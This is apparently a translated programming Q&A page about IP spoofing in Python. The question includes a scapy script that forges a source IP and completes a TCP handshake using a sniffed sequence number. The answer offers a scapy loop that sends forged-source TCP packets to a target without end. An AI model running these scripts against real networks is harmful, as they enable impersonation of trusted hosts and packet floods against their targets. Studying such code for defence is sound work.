python 3中的IP欺骗

时间:2016-08-15 13:53:40

标签: python python-3.x ip spoofing

是否可以使用其他IP源发送欺骗数据包? 我在网上搜索过,发现我需要使用scapy库。我找到了这个脚本:

import sys
from scapy.all import *

if len(sys.argv) != 4:
    print ("Usage: ./spoof.py <target> <spoofed_ip> <port>")
    sys.exit(1)

target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print ("Okay, SYN sent. Enter the sniffed sequence number now: ")

seq=sys.stdin.readline()
print ("Okay, using sequence number " + seq)

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
                                     ack=seq+1,seq=1)
send(p2)

print ("Okay, final ACK sent. Check netstat on your target :-)")

但我不知道它的意思是“现在输入嗅探的序列号:”

另外,是否可以避免使用scapy,而是使用套接字库?如果是的话,你能告诉我的方式吗?

谢谢!我是新手

1 个答案:

答案 0 :(得分:3)

使用scapy库自行解决:

from scapy.all import *

A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload

while True:
    spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
    send(spoofed_packet)